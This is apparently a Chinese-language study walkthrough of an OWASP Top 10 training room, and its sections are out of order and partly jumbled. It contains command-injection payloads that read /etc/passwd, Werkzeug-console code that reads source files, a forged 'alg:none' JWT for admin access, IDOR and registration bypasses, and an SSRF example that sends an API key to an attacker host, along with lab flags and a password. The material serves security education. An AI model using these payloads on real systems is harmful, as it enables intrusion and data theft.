了解并利用 OWASP 前 10 大漏洞;10 大最关键的 Web 安全风险介绍
任务1:介绍
房间对每个 OWASP 主题进行了分解,并包括有关漏洞、漏洞如何发生以及如何利用漏洞的详细信息。您将通过完成支持挑战将理论付诸实践。
访问控制失效(Broken Access Control)
加密失败(Cryptographic Failures)
注射(Injection)
不安全的设计(Insecure Design)
安全配置错误(Security Misconfiguration)
易受攻击和过时的组件(Vulnerable and Outdated Components)
识别和身份验证失败(Identification and Authentication Failures)
软件和数据完整性故障(Software and Data Integrity Failures)
安全日志记录和监控故障(Security Logging & Monitoring Failures)
服务器端请求伪造 (SSRF)(Server-Side Request Forgery (SSRF)
该房间专为初学者设计,无需具备安全知识。
任务2:访问计算机
任务3:1.访问控制失效
网站具有保护页面,防止普通访问者访问。例如,只有网站的 admin 用户才能访问页面以管理其他用户。如果网站访问者可以访问他们不应该看到的受保护页面,那么访问控制就被破坏了。
普通访客能够访问受保护的页面可能会导致以下结果:
能够查看其他用户的敏感信息
访问未经授权的功能
简而言之,破解访问控制允许攻击者绕过授权,允许他们查看敏感数据或执行他们不应该执行的任务。
例如,在 2019 年发现了一个漏洞(访问这个链接),攻击者可以从标记为私有的 Youtube 视频中获取任何一帧。发现该漏洞的研究人员表明,他可以要求几帧,并在一定程度上重建视频。由于用户在将视频标记为私有时期望没有人可以访问它,因此这确实被接受为损坏的访问控制漏洞。
任务4:失效的访问控制(IDOR质询)
不安全的 Direct Object 引用
IDOR 或不安全的直接对象引用( Insecure Direct Object Reference)是指一种访问控制漏洞,您可以在其中访问通常无法看到的资源(上面2019年那个链接就是IDOR)。当程序员公开 Direct Object Reference 时,会发生这种情况,Direct Object Reference 只是引用服务器中特定对象的标识符。我们所说的对象,可以指文件、用户、银行应用程序中的银行账户,或者任何实际的东西。
例如,假设我们正在登录我们的银行账户,在正确验证了自己的身份后,我们被带到了如下所示的 URL(https://bank.thm/account?id=111111)。在该页面上,我们可以看到所有重要的银行详细信息,用户会做他们需要做的任何事情,然后继续前进,认为没有任何问题。
但是,这里有一个潜在的大问题,任何人都可以将id参数更改为其他内容,例如 222222,如果站点配置不正确,那么他将可以访问其他人的银行信息。
应用程序通过 URL 中的id参数公开直接对象引用,该参数指向特定帐户。由于应用程序不会检查已登录用户是否拥有引用的账户,因此攻击者可以由于 IDOR 漏洞从其他用户那里获取敏感信息。请注意,直接对象引用不是问题,而是应用程序不会验证已登录用户是否应有权访问请求的帐户。
id=0看看
任务5:2.加密失败(Cryptographic Failures)
加密失败(Cryptographic Failures)
加密故障是指由于误用(或未使用)加密算法来保护敏感信息而引起的任何漏洞。Web 应用程序需要加密技术,以便在多个级别为其用户提供机密性。
以安全的电子邮件应用程序为例:
SQL 注入:当用户控制的输入传递给 SQL 查询时,会发生这种情况。因此,攻击者可以传入 SQL 查询来操纵此类查询的结果。当此输入传递到数据库查询时,这可能允许攻击者访问、修改和删除数据库中的信息。这意味着攻击者可以窃取敏感信息,例如个人详细信息和凭据。
命令注入:当用户输入传递给系统命令时,会发生这种情况。因此,攻击者可以在应用程序服务器上执行任意系统命令,从而可能允许他们访问用户的系统。
防止注入攻击的主要防御措施是确保用户控制的输入不会被解释为查询或命令。有多种方法可以执行此操作:
whoami
id
ifconfig/ip addr
uname -a
ps -ef
要完成下面的问题,请导航到 http://MACHINE_IP:82/ 并利用 cowsay 服务器。
http://10.10.240.52:82
$(cat /etc/passwd | grep apache)
$(cat /etc/os-release)
任务11:4.不安全的的设计
不安全的设计
不安全设计是指应用程序架构固有的漏洞。它们不是关于不良实现或配置的漏洞,但整个应用程序(或其中的一部分)背后的想法从一开始就存在缺陷。大多数情况下,这些漏洞发生在应用程序的规划阶段进行了不正确的威胁建模,并一直传播到您的最终应用程序。其他一些时候,开发人员也可能引入不安全的设计漏洞,同时在代码周围添加一些 “捷径” 以使其测试更容易。例如,开发人员可以在开发阶段禁用 OTP 验证,以快速测试应用程序的其余部分,而无需在每次登录时手动输入代码,但在将应用程序发送到生产环境时忘记重新启用它。
不安全的密码重置
不久前,Instagram 上就出现了一个很好的漏洞示例。Instagram 允许用户通过短信向他们的手机号码发送一个 6 位数的代码进行验证,从而重置他们忘记的密码。如果攻击者想要访问受害者的帐户,他可以尝试暴力破解 6 位数的代码。正如预期的那样,这不可能直接实现,因为 Instagram 已经实施了速率限制,因此在 250 次尝试后,用户将被阻止进一步尝试。
但是,发现速率限制仅适用于从同一 IP 进行的代码尝试。如果攻击者有多个不同的 IP 地址来发送请求,他现在可以尝试每个 IP 250 个代码。对于 6 位代码,您有 100 万个可能的代码,因此攻击者需要 1000000/250 = 4000 个 IP 来覆盖所有可能的代码。这听起来像是数量惊人的 IP,但云服务可以以相对较低的成本轻松获得它们,从而使这种攻击成为可能。
请注意该漏洞与以下想法有何关系:没有用户能够使用数千个 IP 地址发出并发请求以尝试暴力破解数字代码。问题在于设计,而不是应用程序本身的实现。
由于不安全的设计漏洞是在开发过程的早期阶段引入的,因此解决这些漏洞通常需要从头开始重建应用程序的易受攻击部分,并且通常比任何其他简单的代码相关漏洞更难做到。避免此类漏洞的最佳方法是在开发生命周期的早期阶段执行威胁建模。要获取有关如何实施安全开发生命周期的更多信息,请务必查看 SSDLC 房间。
实例
导航到 http://MACHINE_IP:85 并进入 Joseph 的帐户。此应用程序的密码重置机制也存在设计缺陷。您能找出拟议设计的弱点以及如何滥用它吗?
颜色比较好猜,这里用bp爆破。
这里颜色很多但有限,所以用bp省力一点。
这里发现green有问题
修改成功
APJyf126FXgHhG
去登录
任务12:5.安全配置错误
安全配置错误
安全配置错误与其他 10 大漏洞不同,因为它们发生在安全配置本可以适当配置但未正确配置的情况下。
即使您下载了最新的软件,不良的配置也可能使您的安装容易受到攻击。
安全错误配置包括:
此漏洞通常会导致更多漏洞,例如允许您访问敏感数据的默认凭据、XML 外部实体 (XXE) 或管理员页面上的命令注入。
有关详细信息,请查看 Security Misconfiguration 的 OWASP top 10 条目。
调试接口
一个常见的安全配置错误涉及生产软件中调试功能的暴露。调试功能通常在编程框架中可用,以允许开发人员访问高级功能,这些功能对于在开发应用程序时调试应用程序非常有用。如果开发人员在发布应用程序之前忘记禁用某些调试功能,攻击者可能会滥用其中一些调试功能。
据称,当 Patreon 在 2015 年遭到黑客攻击时,使用了这种漏洞的一个例子。在 Patreon 遭到黑客攻击的 5 天前,一名安全研究人员向 Patreon 报告说,他发现了一个 Werkzeug 控制台的开放调试界面。Werkzeug 是基于 Python 的 Web 应用程序中的重要组件,因为它为 Web 服务器提供了一个执行 Python 代码的接口。Werkzeug 包括一个调试控制台,该控制台可以通过 上的 URL 访问/console,或者如果应用程序引发异常,它也将呈现给用户。在这两种情况下,控制台都提供了一个 Python 控制台,该控制台将运行您发送给它的任何代码。对于攻击者来说,这意味着他可以任意执行命令。
实例
此 VM 是 OWASP Top 10 Vulnerabilities 列表的一部分。Security Misconfiguration
导航到 http://MACHINE_IP:86 并尝试利用安全错误配置来读取应用程序的源代码。
import os; print(os.popen("ls -l").read())
import os; print(os.popen("cat app.py").read())
任务13:6.易受攻击和过时的组件
易受攻击和过时的组件
有时,您可能会发现您正在进行渗透测试的公司/实体正在使用具有已知漏洞的程序。
例如,假设一家公司几年没有更新他们的 WordPress 版本,使用 WPScan 等工具,您会发现它是 4.6 版。一些快速研究会发现 WordPress 4.6 容易受到未经身份验证的远程代码执行 (RCE) 漏洞的攻击,更好的是,您可以在 Exploit-DB 上找到已经进行的漏洞利用。
如您所见,这将是相当具有破坏性的,因为它只需要攻击者做很少的工作。由于该漏洞已经众所周知,因此其他人可能已经利用了该漏洞。当你意识到这种情况真的很容易发生时,情况就会变得更糟。如果一家公司错过了他们使用的程序的一次更新,它可能容易受到任意数量的攻击。
任务14:易受攻击和过时的组件-漏洞利用
回想一下,由于这是关于已知漏洞的,因此大部分工作已经为我们完成了。我们的主要工作是找出软件的信息并对其进行研究,直到找到漏洞利用。让我们通过一个示例 Web 应用程序来了解一下。
诺斯特罗莫 1.9.6
你知道什么?此服务器具有 Nostromo Web 服务器的默认页面。现在我们有了版本号和软件名称,我们可以使用 Exploit-DB 来尝试查找此特定版本的漏洞。
幸运的是,排名靠前的结果恰好是一个漏洞利用脚本。让我们下载它并尝试执行代码。单独运行这个脚本会给我们上非常重要的一课。
您从 Internet 下载的漏洞利用程序可能在第一次不起作用。它有助于理解脚本所使用的编程语言,以便在需要时,您可以修复任何错误或进行任何修改,因为 Exploit-DB 上的许多脚本都希望您进行修改。
幸运的是,该错误是由本应注释掉的一行引起的,因此很容易修复。
修复此问题后,让我们尝试再次运行该程序。
繁荣!我们有 RCE。现在需要注意的是,大多数脚本会告诉你需要提供哪些参数。漏洞利用开发人员很少会让您阅读可能数百行代码,只是为了弄清楚如何使用脚本。
还值得注意的是,它可能并不总是那么容易。有时你只会得到一个版本号,就像在这个例子中一样,但其他时候你可能需要深入研究 HTML 源代码,甚至需要幸运地猜测一个漏洞利用脚本。但实际上,如果它是一个已知的漏洞,则可能有一种方法可以发现应用程序正在运行的版本。
就是这样。OWASP Top 10 的伟大之处在于,工作已经为我们完成了,我们只需要做一些基础研究,作为渗透测试人员,您已经在做很多工作了。
任务15:易受攻击和过时的组件-实验室
去exploit-db寻找这站点的exp。
任务16:7.识别和身份验证失败
身份验证和会话管理构成了现代 Web 应用程序的核心组件。身份验证允许用户通过验证其身份来访问 Web 应用程序。最常见的身份验证形式是使用用户名和密码机制。用户将输入这些凭证,服务器将对其进行验证。然后,如果用户正确,服务器将向用户的浏览器提供会话 cookie。需要会话 Cookie,因为 Web 服务器使用 HTTP(S) 进行通信,这是无状态的。附加会话 Cookie 意味着服务器将知道谁在发送哪些数据。然后,服务器可以跟踪用户的操作。 如果攻击者能够发现身份验证机制中的缺陷,他们可能会成功获得对其他用户帐户的访问权限。这将允许攻击者访问敏感数据(取决于应用程序的用途)。身份验证机制中的一些常见缺陷包括:
为避免密码猜测攻击,请确保应用程序实施强密码策略。
为避免暴力攻击,请确保应用程序在尝试一定次数后强制执行自动锁定。这将防止攻击者发起更多的暴力攻击。
实施 Multi-Factor Authentication。如果用户有多种身份验证方法,例如,使用用户名和密码并在其移动设备上接收代码,则攻击者将很难同时获取密码和代码来访问该帐户。
任务17:识别和身份验证失败实用
在此示例中,我们将查看身份验证机制中的逻辑缺陷。
很多时候,开发者忘记清理用户在他们的应用程序代码中给出的输入(用户名和密码),这可能使他们容易受到像SQL注入这样的攻击。但是,我们将重点关注由于开发人员的错误而发生但很容易被利用的漏洞,即重新注册现有用户。
让我们通过一个例子来理解这一点,假设有一个名为 的现有用户,并且我们想访问他们的帐户,所以我们可以做的是尝试重新注册该用户名,但稍作修改。我们将输入不带引号的 “admin” (注意开头的空格)。现在,当您在用户名字段中输入该信息并输入其他必需信息(如电子邮件 ID 或密码)并提交该数据时,它将注册一个新用户,但该admin用户将具有与管理员帐户相同的权限。该admin新用户还将能够看到 user 下显示的所有内容 .
要查看实际效果,请转到 http://10.10.109.255:8088 并尝试注册为您的用户名。您将看到该用户已经存在,因此请尝试注册 “darren”,您将看到您现在已登录,并且只能看到 darren 帐户中存在的内容,在我们的例子中,这是您需要检索的标志。darren
注意用户名前面有空格
任务18:8.软件和数据完整性故障
什么是诚信?
当谈论完整性时,我们指的是我们必须确定一段数据保持不变的能力。完整性在网络安全中至关重要,因为我们关心维护重要数据免受不必要或恶意的修改。例如,假设您正在下载应用程序的最新安装程序。您如何确保在下载时没有在传输过程中对其进行修改或因传输错误而损坏?
为了解决这个问题,您经常会看到一个与文件一起发送的哈希值,以便您可以证明您下载的文件保持了其完整性并且在传输过程中没有被修改。哈希或摘要只是通过对一段数据应用特定算法而产生的一个数字。在阅读哈希算法时,您通常会阅读到 MD5、SHA1、SHA256 或许多其他可用的算法。
让我们以 WinSCP 为例,以更好地了解如何使用哈希来检查文件的完整性。 如果你去他们的 Sourceforge 仓库,你会看到每个可供下载的文件都发布了一些哈希值:
这些哈希值是由 WinSCP 的创建者预先计算的,以便您可以在下载后检查文件的完整性。如果我们下载文件,我们可以重新计算哈希值并将它们与 Sourceforge 中发布的哈希值进行比较。要计算 Linux 中的不同哈希值,我们可以使用以下命令:WinSCP-5.21.5-Setup.exe
ser@attackbox$ md5sum WinSCP-5.21.5-Setup.exe 20c5329d7fde522338f037a7fe8a84eb WinSCP-5.21.5-Setup.exe user@attackbox$ sha1sum WinSCP-5.21.5-Setup.exe c55a60799cfa24c1aeffcd2ca609776722e84f1b WinSCP-5.21.5-Setup.exe user@attackbox$ sha256sum WinSCP-5.21.5-Setup.exe e141e9a1a0094095d5e26077311418a01dac429e68d3ff07a734385eb0172bea WinSCP-5.21.5-Setup.exe
由于我们得到了相同的哈希值,我们可以有把握地得出结论,我们下载的文件是网站上文件的精确副本。
软件和数据完整性故障
此漏洞是由使用软件或数据而未使用任何类型的完整性检查的代码或基础设施引起的。由于未进行完整性验证,攻击者可能会修改传递给应用程序的软件或数据,从而导致意外后果。此类别中主要有两种类型的漏洞:
监管损害:如果攻击者获得了个人身份用户信息的访问权限,并且没有相关记录,则最终用户会受到影响,并且应用程序所有者可能会受到罚款或更严厉的处罚,具体取决于法规。
进一步攻击的风险:如果不进行日志记录,可能无法检测到攻击者的存在。这可能允许攻击者通过窃取凭据、攻击基础设施等方式对 Web 应用程序所有者发起进一步的攻击。
日志中存储的信息应包括以下内容:
这些日志包含一些敏感信息,因此确保它们安全存储并且这些日志的多个副本存储在不同的位置非常重要。
您可能已经注意到,在发生违规或事件后,日志记录更为重要。理想的情况是进行监控以检测任何可疑活动。检测此可疑活动的目的是完全阻止攻击者,或者在检测到攻击者的存在的时间比预期晚得多时减少他们产生的影响。可疑活动的常见示例包括:
列举内部网络,包括 IP 地址和端口。
滥用服务器之间的信任关系,并访问原本受限制的服务。
与一些非 HTTP 服务交互以获得远程代码执行 (RCE)。
让我们快速看看如何使用 SSRF 来滥用某些信任关系。
实例
导航到 http://10.10.187.181:8087/ http://10.10.50.49:8087/http://10.10.187.181:8087/,您将在其中找到一个简单的 Web 应用程序。经过一番探索后,您应该会看到一个管理区域,这将是我们的主要目标。按照以下问题的说明访问网站的限制区域!
管理界面仅可从 localhost 获得!!
X
任务23:下一步是什么
下一步是什么?
为什么不报名参加我们的初级课程 途径或找另一个房间 完成?
多次未经授权尝试执行特定操作(通常是身份验证尝试或访问未经授权的资源,例如管理员页面)
来自异常 IP 地址或位置的请求:虽然这可能表明其他人正在尝试访问特定用户的帐户,但它也可能具有误报率。
使用自动化工具:特定的自动化工具可以很容易地识别,例如使用 User-Agent 标头的值或请求的速度。这可能表明攻击者正在使用自动化工具。
常见有效负载:在 Web 应用程序中,攻击者使用已知有效负载是很常见的。检测到这些有效负载的使用情况可能表明有人对应用程序进行未经授权/恶意测试。
仅检测可疑活动没有帮助。此可疑活动需要根据影响级别进行评级。例如,某些操作将比其他操作产生更大的影响。这些影响较大的行动需要尽早响应;因此,他们应该发出警报以引起相关方的注意。
通过分析提供的示例日志文件,将这些知识付诸实践。您可以通过单击任务顶部的按钮来下载它。Download Task Files
任务22:10.服务器端请求伪造
服务器端请求伪造
当攻击者可以强制 Web 应用程序代表他们向任意目标发送请求,同时控制请求本身的内容时,就会出现这种类型的漏洞。
SSRF 漏洞通常来自我们的 Web 应用程序需要使用第三方服务的实施。
例如,考虑一个使用外部 API 向其客户端发送 SMS 通知的 Web 应用程序。
对于每封电子邮件,网站需要向 SMS 提供商的服务器发出 Web 请求,以发送要发送的消息内容。
由于 SMS 提供商按消息收费,因此他们要求您为您向其 API 发出的每个请求添加一个密钥,该密钥是他们预先分配给您的。API 密钥用作身份验证令牌,并允许提供商知道向谁收取每条消息的费用。该应用程序将如下所示:
通过查看上图,很容易看出漏洞所在。应用程序向用户公开该参数,该server参数定义 SMS 服务提供商的服务器名称。如果攻击者愿意,他们只需将 to 的值更改为指向他们控制的计算机,您的 Web 应用程序就会很乐意将 SMS 请求转发给攻击者,而不是 SMS 提供商。作为转发消息的一部分,攻击者将获取 API 密钥,从而允许他们使用 SMS 服务发送消息,费用由您承担。为此,攻击者只需向您的网站发出以下请求:server
https://www.mysite.com/sms?server=attacker.thm&msg=ABC
这将使易受攻击的 Web 应用程序发出请求:
https://attacker.thm/api/send?msg=ABC
然后,您可以使用 Netcat 捕获请求的内容:
user@attackbox$ nc -lvp 80 Listening on 0.0.0.0 80 Connection received on 10.10.1.236 43830 GET /:8087/public-docs/123.pdf HTTP/1.1 Host: 10.10.10.11 User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0 Accept: */*
这是 SSRF 的一个非常基本的情况。如果这看起来没有那么可怕,SSRF 实际上可以用来做更多的事情。一般来说,根据每个场景的具体情况,SSRF 可用于:
HTTP 状态代码
时间戳
用户名
API 端点/页面位置
IP 地址
软件完整性故障
数据完整性故障
任务19:软件完整性故障
软件完整性故障
假设您有一个网站,它使用第三方库,这些库存储在一些不受您控制的外部服务器中。虽然这听起来有点奇怪,但这实际上是一种比较常见的做法。以 jQuery 为例,这是一个常用的 javascript 库。如果需要,您可以直接从他们的服务器将 jQuery 包含在您的网站中,而无需通过在网站的 HTML 代码中包含以下行来实际下载它:
当用户导航到您的网站时,其浏览器将读取其 HTML 代码并从指定的外部源下载 jQuery。
问题在于,如果攻击者以某种方式侵入 jQuery 官方存储库,他们可能会更改内容以注入恶意代码。因此,任何访问您网站的人现在都会在不知不觉中拉取恶意代码并将其执行到他们的浏览器中。这是软件完整性失败,因为您的网站不会对第三方库进行检查以查看它是否已更改。现代浏览器允许您沿库的 URL 指定哈希值,以便仅当下载文件的哈希值与预期值匹配时,才执行库代码。这种安全机制称为子资源完整性 (SRI),您可以在此处阅读有关它的更多信息。https://code.jquery.com/jquery-3.6.1.min.js
在 HTML 代码中插入库的正确方法是使用 SRI 并包含完整性哈希,这样,如果攻击者能够以某种方式修改库,则浏览您网站的任何客户端都不会执行修改后的版本。这是它在 HTML 中的样子:
如果需要,您可以转到 https://www.srihash.org/ 为任何库生成哈希值。
任务20:数据完整性故障
数据完整性故障
让我们考虑一下 Web 应用程序如何维护会话。通常,当用户登录到应用程序时,将为其分配某种会话令牌,只要会话持续,该令牌就需要保存在浏览器上。此令牌将在每个后续请求中重复,以便 Web 应用程序知道我们是谁。这些会话令牌可以有多种形式,但通常通过 Cookie 分配。Cookie 是 Web 应用程序将存储在用户浏览器上的键值对,并且将在向发布 Cookie 的网站发出的每个请求中自动重复。
例如,如果您正在创建一个 web mail 应用程序,您可以在登录后为每个用户分配一个包含其用户名的 cookie。在后续请求中,您的浏览器将始终在 Cookie 中发送您的用户名,以便您的 Web 应用程序知道正在连接哪个用户。
从安全角度来看,这将是一个糟糕的主意,因为正如我们所提到的,cookie 存储在用户的浏览器上,因此如果用户篡改 cookie 并更改用户名,他们可能会冒充其他人并阅读他们的电子邮件!此应用程序将出现数据完整性故障,因为它信任攻击者可以篡改的数据。
一种解决方案是使用某种完整性机制来保证 cookie 没有被用户更改。为了避免重新发明轮子,我们可以使用一些令牌实现来允许您执行此操作并处理所有加密以提供完整性证明,而无需您费心。 JSON Web Tokens (JWT) 就是这样一种实现。
JWT 是非常简单的令牌,允许您将键值对存储在令牌上,该令牌作为令牌的一部分提供完整性。这个想法是,您可以生成令牌,让用户可以确定他们无法更改键值对并通过完整性检查。JWT 令牌的结构由 3 个部分组成:
(1)标头包含指示这是 JWT 的元数据,并且使用的签名算法是 HS256。
(2)payload(有效负载)包含键值对以及 Web 应用程序希望客户端存储的数据。
(3)签名类似于哈希,用于验证payload有效负载的完整性。
如果您更改负载,Web 应用程序可以验证签名是否与负载不匹配,并知道您篡改了 JWT。与简单的哈希不同,此签名涉及仅使用服务器持有的密钥,这意味着如果您更改有效负载,除非您知道密钥,否则将无法生成匹配的签名。
请注意,令牌的 3 个部分中的每一个都只是使用 base64 编码的纯文本。您可以使用此在线工具对 base64 进行编码/解码。尝试解码以下令牌的标头和有效负载:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjY1MDc2ODM2fQ.C8Z3gJ7
注意:签名包含二进制数据,因此即使您对其进行解码,您也无法理解它。
JWT 和 None 算法
不久前,一些实施 JWT 的库存在数据完整性故障漏洞。正如我们所看到的,JWT 实现了一个签名来验证有效负载数据的完整性。易受攻击的库允许攻击者通过更改 JWT 中的以下两项内容来绕过签名验证:
以之前的 JWT 为例,如果我们想更改有效负载,使用户名变为 “admin” 并且不进行签名检查,则必须解码标头和有效负载,根据需要修改它们,然后编码回来。请注意我们如何删除签名部分,但保留末尾的点。
问题过程
用访客登录
用户名:guest
密码: guest
解码出来,修改,在编码
{"typ":"JWT","alg":"none"}:ewogICJ0eXAiOiJKV1QiLAogICJhbGciOiJub25lIgp9
{"username":"admin","exp":1736480354}:ewogInVzZXJuYW1lIjoiYWRtaW4iLAogImV4cCI6MTczNjQ4MDM1NAp9
组合:ewogICJ0eXAiOiJKV1QiLAogICJhbGciOiJub25lIgp9.ewogInVzZXJuYW1lIjoiYWRtaW4iLAogImV4cCI6MTczNjQ4MDM1NAp9.
THM{Dont_take_cookies_from_strangers}
任务21:9.安全日志记录和监控故障
设置 Web 应用程序时,应记录用户执行的每个操作。
日志记录很重要,因为在发生事件时,可以跟踪攻击者的活动。一旦追踪到他们的行为,就可以确定他们的风险和影响。如果没有日志记录,如果攻击者获得了对特定 Web 应用程序的访问权限,就无法判断攻击者执行了哪些操作。这些影响的更重大影响包括:
暴力攻击:如果 Web 应用程序使用用户名和密码,攻击者可以尝试发起暴力攻击,允许他们使用多次身份验证尝试来猜测用户名和密码。
使用弱凭据:Web 应用程序应设置强密码策略。如果应用程序允许用户设置密码(如 “password1” 或常用密码),攻击者可以很容易地猜到它们并访问用户帐户。
弱会话 Cookie:会话 Cookie 是服务器跟踪用户的方式。如果会话 Cookie 包含可预测的值,攻击者可以设置自己的会话 Cookie 并访问用户的帐户。
根据确切的缺陷,可以针对损坏的身份验证机制采取各种缓解措施:
云服务(如 S3 存储桶)的权限配置不当。
启用了不必要的功能,例如服务、页面、帐户或权限。
密码未更改的默认帐户。
错误消息过于详细,并允许攻击者了解有关系统的更多信息。
不使用 HTTP 安全标头。
Using an allow list:当输入发送到服务器时,此输入将与安全输入或字符列表进行比较。如果输入标记为安全,则对其进行处理。否则,它将被拒绝,并且应用程序将引发错误。
剥离输入: 如果输入包含危险字符,则会在处理之前删除这些字符。
危险字符或输入被归类为可以更改基础数据处理方式的任何输入。无需手动构建 allow 名单或剥离输入,存在各种库可以为您执行这些操作。
任务10:3.1命令注入
命令注入
当 Web 应用程序中的服务器端代码(如 PHP)调用直接与服务器控制台交互的函数时,就会发生命令注入。注入 Web 漏洞允许攻击者利用该调用在服务器上任意执行操作系统命令。攻击者从这里开始的可能性是无穷无尽的:他们可以列出文件、读取其内容、运行一些基本命令以在服务器上进行一些侦察或任何他们想要的操作,就像他们坐在服务器前并直接向命令行发出命令一样。
一旦攻击者在 Web 服务器上站稳脚跟,他们就可以开始对您的系统进行常规的枚举,并寻找绕过的方法。
代码示例
让我们考虑一个场景:MooCorp 已经开始为具有可自定义文本的奶牛 ASCII 艺术开发基于 Web 的应用程序。在寻找实现其应用程序的方法时,他们在 Linux 中发现了 command ,它就是这样做的!他们决定编写一些简单的代码,从操作系统的控制台调用 cowsay 命令并将其内容发送回网站,而不是编写整个 Web 应用程序和让奶牛用 ASCII 说话所需的逻辑。cowsay
让我们看看他们用于应用程序的代码。看看你是否能确定为什么他们的实现容易受到命令注入的影响。我们将在下面进行介绍。
简单来说,上面的代码段执行以下操作:
利用命令注入
现在我们知道了应用程序在幕后是如何工作的,我们将利用一个名为 “inline commands” 的 bash 功能来滥用 cowsay 服务器并执行我们想要的任何任意命令。Bash 允许您在命令中运行命令。这很有用,原因有很多,但在我们的例子中,它将用于在 cowsay 服务器中注入命令以执行它。
要执行内联命令,您只需将它们括起来 以下格式 .如果控制台检测到内联命令,它将首先执行该命令,然后将结果用作外部命令的参数。请看下面的示例,它作为命令内的内联命令运行:$(your_command_here)whoamiecho
所以回到 cowsay 服务器,如果我们向 Web 应用程序发送内联命令,会发生什么:
由于应用程序接受我们的任何输入,我们可以注入一个内联命令,该命令将被执行并用作 cowsay 的参数。这将使我们的奶牛说出命令返回的任何内容!如果您对 Linux 不是那么熟悉,以下是您可能想尝试的其他一些命令:
当您使用浏览器访问您的电子邮件帐户时,您希望确保您与服务器之间的通信已加密。这样,任何试图捕获您的网络数据包的窃听者都无法恢复您的电子邮件地址内容。当我们加密客户端和服务器之间的网络流量时,我们通常将其称为加密传输中的数据。
由于您的电子邮件存储在由您的提供商管理的某些服务器中,因此电子邮件提供商也希望无法阅读其客户的电子邮件。为此,您的电子邮件在存储在服务器上时也可能被加密。这称为加密静态数据。
加密失败通常会导致 Web 应用程序意外泄露敏感数据。这通常是与客户直接相关的数据(例如姓名、出生日期、财务信息),但也可能是更多技术信息,例如用户名和密码。
在更复杂的级别上,利用某些加密故障通常涉及“中间人攻击”等技术,攻击者会通过他们控制的设备强制用户连接。然后,他们将利用对任何传输数据的弱加密来访问被拦截的信息(如果数据甚至一开始就被加密了)。当然,许多示例要简单得多,并且可以在 Web 应用程序中找到漏洞,无需高级网络知识即可利用这些漏洞。事实上,在某些情况下,可以直接在 Web 服务器本身上找到敏感数据。
此框中的 Web 应用程序包含一个此类漏洞。要继续,请通读以下任务中的支持材料。
任务6:加密故障(支持材料 1)
以可从多个位置轻松访问的格式存储大量数据的最常见方法是在数据库中存储。这对于 Web 应用程序之类的东西来说是完美的,因为许多用户可能随时与网站交互。数据库引擎通常遵循结构化查询语言 (SQL) 语法。
在生产环境中,通常会看到数据库设置在运行数据库服务(如 MySQL 或 MariaDB)的专用服务器上;但是,数据库也可以存储为文件。这些数据库称为“平面文件”数据库,因为它们作为单个文件存储在计算机上。这比设置整个数据库服务器要容易得多,并且可能在较小的 Web 应用程序中看到。访问数据库服务器超出了今天的任务范围,因此让我们把重点放在平面文件数据库上。
如前所述,平面文件数据库作为文件存储在计算机的磁盘上。通常,这对于 Web 应用程序来说不是问题,但如果数据库存储在网站的根目录下(即连接到网站的用户可访问的文件之一),会发生什么情况?
好吧,我们可以在自己的计算机上下载和查询它,并且可以完全访问数据库中的所有内容。确实是敏感数据泄露!
这是挑战的一大提示,因此让我们简要介绍一下我们用于查询平面文件数据库的一些语法。
平面文件数据库最常见(也是最简单的)格式是 SQLite 数据库。这些可以在大多数编程语言中进行交互,并且有一个专用的客户端用于在命令行上查询它们。默认情况下,此sqlite3客户端被调用并安装在许多 Linux 发行版上。
假设我们已经成功地下载了一个数据库:
user@linux$ ls -l -rw-r--r-- 1 user user 8192 Feb 2 20:33 example.db user@linux$ file example.db example.db: SQLite 3.x database, last written using SQLite version 3039002, file counter 1, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 1
我们可以看到当前文件夹中有一个 SQLite 数据库。
要访问它,我们使用 :sqlite3
user@linux$ sqlite3 example.db SQLite version 3.39.2 2022-07-21 15:24:47 Enter ".help" for usage hints. sqlite>
从这里,我们可以使用以下命令查看数据库中的表:.tables
user@linux$ sqlite3 example.db SQLite version 3.39.2 2022-07-21 15:24:47 Enter ".help" for usage hints. sqlite> .tables customers
此时,我们可以转储表中的所有数据,但除非我们查看表信息,否则我们不一定知道每列的含义。首先,让我们使用 to 查看表信息。然后,我们将用于转储表中的信息:
PRAGMA table_info(customers);
SELECT * FROM customers;
sqlite> PRAGMA table_info(customers); 0|cudtID|INT|1||1 1|custName|TEXT|1||0 2|creditCard|TEXT|0||0 3|password|TEXT|1||0 sqlite> SELECT * FROM customers; 0|Joy Paulson|4916 9012 2231 7905|5f4dcc3b5aa765d61d8327deb882cf99 1|John Walters|4671 5376 3366 8125|fef08f333cc53594c8097eba1f35726a 2|Lena Abdul|4353 4722 6349 6685|b55ab2470f160c331a99b8d8a1946b19 3|Andrew Miller|4059 8824 0198 5596|bc7b657bd56e4386e3397ca86e378f70 4|Keith Wayman|4972 1604 3381 8885|12e7a36c0710571b3d827992f4cfe679 5|Annett Scholz|5400 1617 6508 1166|e2795fc96af3f4d6288906a90a52a47f
从表信息中我们可以看到,有四列:custID ,custName ,creditCard 和password 。您可能会注意到这与结果一致。以第一行为例:
0|Joy Paulson|4916 9012 2231 7905|5f4dcc3b5aa765d61d8327deb882cf99
我们有 custID (0)、custName (Joy Paulson)、creditCard (4916 9012 2231 7905) 和密码哈希 (5f4dcc3b5aa765d61d8327deb882cf99)。
在下一个任务中,我们将了解如何破解此哈希。
任务7:加密故障(支持材料 2)
在上一个任务中,我们了解了如何查询 SQLite 数据库中的敏感数据。我们找到了一个密码哈希的集合,每个用户一个。在本任务中,我们将简要介绍如何破解这些。
在哈希破解方面,Kali 预装了各种工具。如果您知道如何使用这些,那么请随意这样做;但是,它们超出了本材料的范围。
相反,我们将使用在线工具:Crackstation。这个网站非常擅长破解弱密码哈希。对于更复杂的哈希值,我们需要更复杂的工具;但是,今天挑战中使用的所有可破解密码哈希都是弱 MD5 哈希,Crackstation 应该可以很好地处理这些哈希。
当我们导航到网站时,我们会看到以下界面:
让我们尝试粘贴 Joy Paulson 的密码哈希值,我们在上一个任务 () 中找到了它。我们解决验证码,然后单击 “Crack Hashes” 按钮:5f4dcc3b5aa765d61d8327deb882cf99
我们看到哈希已成功破解,用户的密码是 “password”。多么安全啊!
值得注意的是,Crackstation 使用大量的单词列表工作。如果密码不在单词列表中,则 Crackstation 将无法破解哈希值。
挑战是有指导的,因此如果 Crackstation 未能破解当今盒子中的哈希值,您可以假设该哈希值是专门为不可破解而设计的。
任务8:加密失败(质询)
